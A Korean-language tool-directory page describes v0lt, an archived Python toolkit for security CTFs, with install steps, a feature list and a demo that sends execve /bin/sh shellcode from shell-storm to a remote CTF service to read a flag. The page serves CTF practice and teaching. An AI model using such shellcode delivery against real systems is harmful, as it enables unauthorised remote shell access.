Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
v0lt — 보안 CTF 툴킷 (더 이상 유지 관리되지 않음) | Kitploit
도구/GitHubGitHub/p1kachu/v0lt
Payload GenerationExploitationScripting & AutomationShellcodeCryptographyCTFPenetration TestingLearning & EducationBinary ExploitationArchived
GitHubp1kachu/v0lt

v0lt

보안 CTF 툴킷 (더 이상 유지 관리되지 않음)

3701018년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

v0lt

v0lt

Rawsec's CyberSecurity Inventory

v0lt는 제가 보안 CTF에서 사용했거나 사용 중이거나 사용할 모든 도구를 Python 스타일로 모아보려는 시도입니다. 많은 문제들은 bash 스크립트로 해결했지만 Python이 더 유연할 수 있기 때문입니다. Gallopsled와는 전혀 관련이 없습니다. 작지만 특화된 유틸리티만을 담은 장난감 도구 키트입니다.

이 프로젝트는 더 이상 유지보수되지 않습니다. 유틸리티 자체가 거의 항상 작동할 정도로 작아서 유지보수가 필요하지 않기 때문입니다. 그래도 원한다면 PR을 자유롭게 제출해 주세요 :)

요구사항 및 설치

의존성:

  • Libmagic
  • Python3
    • BeautifulSoup
    • Requests
    • filemagic
    • hexdump
    • passlib

설치:

root@kitploit:~
# for v0lt install
git clone https://github.com/P1kachu/v0lt.git
cd v0lt
[sudo] python3 setup.py install # sudo is required for potentially missing dependencies

데모: 쉘코드

root@kitploit:~
>>> from v0lt import *
>>> nc = Netcat("archpichu.ddns.net", 65102)
Connected to port 65102
>>> print(nc.read())
GIVE ME SHELLCODZ
>>> shellhack = ShellCrafter(4096, "bin","execve")
>>> shellhack.get_shellcodes(shellhack.keywords)

...<SNIPPED>...
85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes
86: Linux/x86:execve (/bin/sh) - 21 Bytes
87: Linux/x86:break chroot execve /bin/sh - 80 bytes
88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes
...<SNIPPED>...

Selection: 86
Your choice: http://shell-storm.org/shellcode/files/shellcode-752.php
Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\[...]"

>>> nc.shellcat(shellhack.shellcode)
>>> nc.writeln(shellhack.pad())
>>> exploit = nc.dialogue("cat flag", 3)
>>> print(exploit)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
File name too long
P1kaCTF{sh3llc0de_1s_e4zY}

구현된 기능:

  • 암호

    • Base64
    • 시저 시프트
    • 해시 함수 (SHA, MD5)
    • 비트 조작 (XOR, 역 XOR)
    • 일반적인 변환 (바이트, 문자열, 16진수)
    • RSA 기초 (역 모듈러, 역 거듭제곱, egcd 등)
    • 무차별 대입 (사전, 사용자 정의 단어)
  • 쉘코드

    • Shell-storm 저장소에서 쉘코드 선택 및 다운로드
    • 쉘코드 포맷터
    • 쉘{cat,net}: 쉘코드 전송을 간편하게
    • 자동 패딩
  • 간편한 연결 지원

    • Netcat
    • Telnet
  • 문제 해결

    • 명령어 카운팅 무차별 대입기

그 외 더 있음 예제는 여기에서 확인할 수 있습니다.

도구 다운로드